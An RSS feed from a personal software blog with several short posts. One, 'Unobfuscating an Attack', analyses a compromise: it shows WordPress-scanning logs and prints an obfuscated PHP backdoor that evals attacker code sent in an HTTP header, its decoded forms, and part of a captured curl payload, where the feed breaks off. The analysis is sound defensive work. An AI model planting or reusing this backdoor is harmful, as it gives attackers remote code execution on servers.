<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>alanp.ca</title> <description>alanp.ca - thoughts on software development &amp; startups</description> <link>http://alanp.ca/blog/</link> <atom:link href="http://alanp.ca/blog/feed.xml" rel="self" type="application/rss+xml"/> <pubDate>Mon, 16 Feb 2026 11:31:05 -0600</pubDate> <lastBuildDate>Mon, 16 Feb 2026 11:31:05 -0600</lastBuildDate> <generator>Jekyll v3.9.3</generator> <item> <title>Fail Early, Fail Often</title> <description>&lt;p&gt;I have been reading some user experience books lately. While doing so, I came across this gem:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;The ceramics teacher announced on opening day that he was dividing the class into two groups. All those on theleft side of the studio, he said, would be graded solely on the quantity of work they produced, all those on the rightsolely on its quality. His procedure was simple: on the final day of class he would bring in his bathroom scalesand weigh the work of the “quantity” group: fifty pounds of pots rated an “A”, forty pounds a “B”, and so on. Thosebeing graded on “quality,” however, needed to produce only one pot—albeit a perfect one—to get an “A.” Well,came grading time and a curious fact emerged: the works of highest quality were all produced by the group beinggraded for quantity. It seems that while the “quantity” group was busily churning out piles of work—and learningfrom their mistakes—the “quality” group had sat theorizing about perfection, and in the end had little more toshow for their efforts than grandiose theories and a pile of dead clay. (Bayles &amp;amp; Orland 2001; p. 29)&lt;/p&gt; &lt;/blockquote&gt; </description> <pubDate>Wed, 01 Jun 2011 00:31:37 -0500</pubDate> <link>http://alanp.ca/blog/2011/06/01/fail-early-fail-often/</link> <guid isPermaLink="true">http://alanp.ca/blog/2011/06/01/fail-early-fail-often/</guid> <category>startups</category> </item> <item> <title>Announcing Viral Landing Page</title> <description>&lt;p&gt;I have been working on a few projects which require a landing page over the past couple of months, and this has come to the forefront of my thoughts more recently. As a Startup Weekend alumnus, I was pretty excited to see that &lt;a href=&quot;http://www.launchrock.com&quot;&gt;launchrock&lt;/a&gt; was fully launched and gaining quite a bit of traction. One problem, though, is that I would have to sign up for each project and then promote the links. I don’t like to post too many links on my &lt;a href=&quot;http://twitter.com/alanpca&quot;&gt;Twitter&lt;/a&gt; and/or Facebook accounts, so I decided against this. If you’re not familiar with the concept, here is an excerpt from the description on the Github repo:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;When a user submits their e-mail address, it will immediately be recorded to the local database. The user will then be shown “sharing” icons from Facebook and Twitter. Each successful click or referral will be recorded to the database for that user. This makes it easier for you to allow earlier access to people who are driving traffic to your site.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;The next route was to implement something similar, which I did over the past couple of days. The result is &lt;a href=&quot;https://github.com/alanpca/viral-landing-page&quot;&gt;viral-landing-page&lt;/a&gt; (very original name, I know), which can be found in my &lt;a href=&quot;https://github.com/alanpca&quot;&gt;Github repositories&lt;/a&gt; immediately. Viral-landing-page was written in Ruby on Rail because, well, I love the framework. For Javascript, I chose jQuery for similar reasons.&lt;/p&gt; &lt;p&gt;Viral-landing-page far from polished, but it should be good enough to begin using immediately. I chose to license it under the &lt;a href=&quot;https://github.com/alanpca/viral-landing-page/blob/master/LICENSE&quot;&gt;BSD open source license&lt;/a&gt;, which is quite permissive. While it isn’t required, I’d like to know who is using this software (and early access to your startup =D). You can comment on this blog post, or contact me via any other methods. I will be actively adding features (maybe an admin viewer) as I use the project more and more for my own needs. Feel free to fork and push back any changes!&lt;/p&gt; </description> <pubDate>Wed, 02 Mar 2011 00:17:03 -0600</pubDate> <link>http://alanp.ca/blog/2011/03/02/announcing-viral-landing-page/</link> <guid isPermaLink="true">http://alanp.ca/blog/2011/03/02/announcing-viral-landing-page/</guid> <category>viral landing page open source bsd license</category> <category>Software</category> <category>Startups</category> </item> <item> <title>Export Google Chrome passwords to Keepass</title> <description>&lt;p&gt;I have recently been complementing the power of &lt;a href=&quot;http://keepass.info&quot;&gt;Keepass&lt;/a&gt; with &lt;a href=&quot;http://www.dropbox.com&quot;&gt;Dropbox&lt;/a&gt;, which allows me to share and access my logins and passwords anywhere with an internet connection while still storing them in a secure manner. Thanks to the &lt;a href=&quot;http://www.keepassdroid.com/&quot;&gt;KeepassDroid&lt;/a&gt; application, this even includes my phone.&lt;/p&gt; &lt;p&gt;Since I began using Keepass, I have been looking for a way to import those pesky web application passwords into Keepass. Since I have a different login and password for essentially every site I visit, managing and remembering these has been a huge problem in the past. With multiple hundreds of unique login/password combinations, doing this by hand was not an option. This morning the problem came to a head and I decided to do something about it.&lt;/p&gt; &lt;p&gt;Since Keepass allows importation from it’s own XML format, the building blocks for an export/import were already there. I have been learning Ruby lately, so I decided I would whip up a quick script to export my Chrome passwords.&lt;/p&gt; &lt;p&gt;After a bit of hacking, I finished chrome2keepass this morning and you can find it at its &lt;a href=&quot;https://github.com/alanpca/chrome2keepass&quot;&gt;Github Repository&lt;/a&gt;.&lt;/p&gt; </description> <pubDate>Sat, 01 Jan 2011 13:52:29 -0600</pubDate> <link>http://alanp.ca/blog/2011/01/01/export-google-chrome-passwords-to-keepass/</link> <guid isPermaLink="true">http://alanp.ca/blog/2011/01/01/export-google-chrome-passwords-to-keepass/</guid> <category>chrome</category> <category>chromium</category> <category>keepass</category> <category>keepassx</category> <category>keepassdroid</category> <category>google chrome</category> <category>google chromium</category> <category>ruby</category> <category>Software</category> </item> <item> <title>Local(-ish) Startup Activity</title> <description>&lt;p&gt;It seems that the Windsor/Metro Detroit area is finally getting some startup assistance love.&lt;/p&gt; &lt;p&gt;No great incubator yet, but we do﻿ have a few upcoming events in the area:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://www.startupdrinks.ca/index.php/windsor/&quot;&gt;Windsor Startup Drinks&lt;/a&gt; wi﻿ll be taking place next week, November 10th, in downtown Windsor. It seems to be hosted by the &lt;a href=&quot;http://www.softechalliance.ca/&quot;&gt;Softech Alliance&lt;/a&gt; and &lt;a href=&quot;http://sifewindsor.com/&quot;&gt;SIFE Windsor&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://detroit.startupweekend.org/&quot;&gt;Detroit Startup Weekend&lt;/a&gt; will be held at &lt;a href=&quot;http://techtownwsu.org/&quot;&gt;TechTown&lt;/a&gt; at my alma mater, &lt;a href=&quot;http://www.wayne.edu&quot;&gt;Wayne State University&lt;/a&gt;, next weekend (November 12th-14th, 2010).&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;This is a great chance for local startup-minded people to network and, as I like to say, increase their geek circle. If you are one of these people, get out there and get involved.&lt;/p&gt; </description> <pubDate>Thu, 04 Nov 2010 00:20:00 -0500</pubDate> <link>http://alanp.ca/blog/2010/11/04/local-ish-startup-activity/</link> <guid isPermaLink="true">http://alanp.ca/blog/2010/11/04/local-ish-startup-activity/</guid> <category>startup</category> <category>detroit</category> <category>windsor</category> <category>event</category> <category>november</category> <category>entrepreneurship</category> <category>Startups</category> </item> <item> <title>Unobfuscating an Attack</title> <description>&lt;p&gt;Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem. One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:&lt;/p&gt; &lt;div class=&quot;language-apache highlighter-coderay&quot;&gt;&lt;table class=&quot;CodeRay&quot;&gt;&lt;tr&gt; &lt;td class=&quot;line-numbers&quot;&gt;&lt;pre&gt;&lt;a href=&quot;#n1&quot; name=&quot;n1&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;#n2&quot; name=&quot;n2&quot;&gt;2&lt;/a&gt; &lt;a href=&quot;#n3&quot; name=&quot;n3&quot;&gt;3&lt;/a&gt; &lt;a href=&quot;#n4&quot; name=&quot;n4&quot;&gt;4&lt;/a&gt; &lt;a href=&quot;#n5&quot; name=&quot;n5&quot;&gt;5&lt;/a&gt; &lt;a href=&quot;#n6&quot; name=&quot;n6&quot;&gt;6&lt;/a&gt; &lt;a href=&quot;#n7&quot; name=&quot;n7&quot;&gt;7&lt;/a&gt; &lt;a href=&quot;#n8&quot; name=&quot;n8&quot;&gt;8&lt;/a&gt; &lt;a href=&quot;#n9&quot; name=&quot;n9&quot;&gt;9&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#n10&quot; name=&quot;n10&quot;&gt;10&lt;/a&gt;&lt;/strong&gt; &lt;/pre&gt;&lt;/td&gt; &lt;td class=&quot;code&quot;&gt;&lt;pre&gt;access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] &amp;quot;GET /old/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] &amp;quot;GET /cms/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 404 2537 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 404 2538 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] &amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot; 404 2537 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] &amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] &amp;quot;GET /blog_old/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] &amp;quot;GET /blog-old/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot; access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] &amp;quot;GET /blog/wp/wp-login.php HTTP/1.1&amp;quot; 404 2533 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;Obviously, the IPs have been removed to protect the innocent. What we can see from this log output is that there is an obvious scan of hackable Wordpress installations happening – and they look to come from our server.&lt;/p&gt; &lt;p&gt;After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable Wordpress installs. A remote machine would send requests to a group of servers hosting this PHP file:&lt;/p&gt; &lt;div class=&quot;language-php highlighter-coderay&quot;&gt;&lt;table class=&quot;CodeRay&quot;&gt;&lt;tr&gt; &lt;td class=&quot;line-numbers&quot;&gt;&lt;pre&gt;&lt;a href=&quot;#n1&quot; name=&quot;n1&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;#n2&quot; name=&quot;n2&quot;&gt;2&lt;/a&gt; &lt;/pre&gt;&lt;/td&gt; &lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;local-variable&quot;&gt;$_fcxxxcc&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x70&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x72&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x67&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x5f&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x72&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x70&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x6c&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x61&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x63&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;; &lt;span class=&quot;local-variable&quot;&gt;$_fcxxxcc&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x7c&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x2e&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x7c&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x76&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x61&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x6c&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x28&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x27&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x76&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x61&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x6c&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x28&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x62&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x61&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x73&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x36&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x34&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x5f&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x64&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x63&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x6f&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x64&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x65&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x28&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x22&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x22&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x29&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x29&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x3b&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x27&lt;/span&gt;&lt;span class=&quot;char&quot;&gt;\x29&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt;); &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;I have to give it to them, at least they obfuscated the code. It took a while before I realized the extent of their hidden code. Unobfuscating this file gives us:&lt;/p&gt; &lt;div class=&quot;language-php highlighter-coderay&quot;&gt;&lt;table class=&quot;CodeRay&quot;&gt;&lt;tr&gt; &lt;td class=&quot;line-numbers&quot;&gt;&lt;pre&gt;&lt;a href=&quot;#n1&quot; name=&quot;n1&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;#n2&quot; name=&quot;n2&quot;&gt;2&lt;/a&gt; &lt;/pre&gt;&lt;/td&gt; &lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;local-variable&quot;&gt;$_fcxxxcc&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;preg_replace&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;; &lt;span class=&quot;predefined&quot;&gt;preg_replace&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;|.|e&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;eval('eval(base64_decode(&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;));')&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt;) &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;Base 64 decoding this string gives us:&lt;/p&gt; &lt;div class=&quot;language-php highlighter-coderay&quot;&gt;&lt;table class=&quot;CodeRay&quot;&gt;&lt;tr&gt; &lt;td class=&quot;line-numbers&quot;&gt;&lt;pre&gt;&lt;a href=&quot;#n1&quot; name=&quot;n1&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;#n2&quot; name=&quot;n2&quot;&gt;2&lt;/a&gt; &lt;/pre&gt;&lt;/td&gt; &lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;md5&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;$_SERVER&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;HTTP_QUOTE&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt;])==&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;e66e6cadd6e13efea54ed50c0eb2d32b&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;predefined&quot;&gt;isset&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;$_SERVER&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;HTTP_X_CODE&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt;])) &lt;span class=&quot;exception&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;predefined&quot;&gt;eval&lt;/span&gt;(&lt;span class=&quot;exception&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;strrev&lt;/span&gt;(&lt;span class=&quot;exception&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;predefined&quot;&gt;$_SERVER&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;HTTP_X_CODE&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;'&lt;/span&gt;&lt;/span&gt;]))); &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;Finally, we’re getting somewhere!&lt;/p&gt; &lt;p&gt;Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system. But, what kind of payload are they sending to their script? Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for. After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):&lt;/p&gt; &lt;div class=&quot;language-php highlighter-coderay&quot;&gt;&lt;table class=&quot;CodeRay&quot;&gt;&lt;tr&gt; &lt;td class=&quot;line-numbers&quot;&gt;&lt;pre&gt;&lt;a href=&quot;#n1&quot; name=&quot;n1&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;#n2&quot; name=&quot;n2&quot;&gt;2&lt;/a&gt; &lt;a href=&quot;#n3&quot; name=&quot;n3&quot;&gt;3&lt;/a&gt; &lt;a href=&quot;#n4&quot; name=&quot;n4&quot;&gt;4&lt;/a&gt; &lt;a href=&quot;#n5&quot; name=&quot;n5&quot;&gt;5&lt;/a&gt; &lt;a href=&quot;#n6&quot; name=&quot;n6&quot;&gt;6&lt;/a&gt; &lt;a href=&quot;#n7&quot; name=&quot;n7&quot;&gt;7&lt;/a&gt; &lt;a href=&quot;#n8&quot; name=&quot;n8&quot;&gt;8&lt;/a&gt; &lt;a href=&quot;#n9&quot; name=&quot;n9&quot;&gt;9&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#n10&quot; name=&quot;n10&quot;&gt;10&lt;/a&gt;&lt;/strong&gt; &lt;a href=&quot;#n11&quot; name=&quot;n11&quot;&gt;11&lt;/a&gt; &lt;a href=&quot;#n12&quot; name=&quot;n12&quot;&gt;12&lt;/a&gt; &lt;a href=&quot;#n13&quot; name=&quot;n13&quot;&gt;13&lt;/a&gt; &lt;a href=&quot;#n14&quot; name=&quot;n14&quot;&gt;14&lt;/a&gt; &lt;a href=&quot;#n15&quot; name=&quot;n15&quot;&gt;15&lt;/a&gt; &lt;a href=&quot;#n16&quot; name=&quot;n16&quot;&gt;16&lt;/a&gt; &lt;a href=&quot;#n17&quot; name=&quot;n17&quot;&gt;17&lt;/a&gt; &lt;a href=&quot;#n18&quot; name=&quot;n18&quot;&gt;18&lt;/a&gt; &lt;a href=&quot;#n19&quot; name=&quot;n19&quot;&gt;19&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#n20&quot; name=&quot;n20&quot;&gt;20&lt;/a&gt;&lt;/strong&gt; &lt;a href=&quot;#n21&quot; name=&quot;n21&quot;&gt;21&lt;/a&gt; &lt;a href=&quot;#n22&quot; name=&quot;n22&quot;&gt;22&lt;/a&gt; &lt;a href=&quot;#n23&quot; name=&quot;n23&quot;&gt;23&lt;/a&gt; &lt;a href=&quot;#n24&quot; name=&quot;n24&quot;&gt;24&lt;/a&gt; &lt;a href=&quot;#n25&quot; name=&quot;n25&quot;&gt;25&lt;/a&gt; &lt;a href=&quot;#n26&quot; name=&quot;n26&quot;&gt;26&lt;/a&gt; &lt;a href=&quot;#n27&quot; name=&quot;n27&quot;&gt;27&lt;/a&gt; &lt;a href=&quot;#n28&quot; name=&quot;n28&quot;&gt;28&lt;/a&gt; &lt;a href=&quot;#n29&quot; name=&quot;n29&quot;&gt;29&lt;/a&gt; &lt;/pre&gt;&lt;/td&gt; &lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;predefined&quot;&gt;header&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;X_GZIP: TRUE&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;); &lt;span class=&quot;predefined&quot;&gt;header&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;X_MD5: 8b72825b0b211b07f8378013cbfb0d17&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;); &lt;span class=&quot;predefined&quot;&gt;error_reporting&lt;/span&gt;(&lt;span class=&quot;exception&quot;&gt;E_ALL&lt;/span&gt;); ini_set(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;display_errors&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;,&lt;span class=&quot;integer&quot;&gt;1&lt;/span&gt;); &lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;=curl_init(); curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;13&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;aToxNTs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// i:15;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;19913&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIxIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;42&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIxIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;53&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIwIjs=&lt;/span&gt;&lt;span 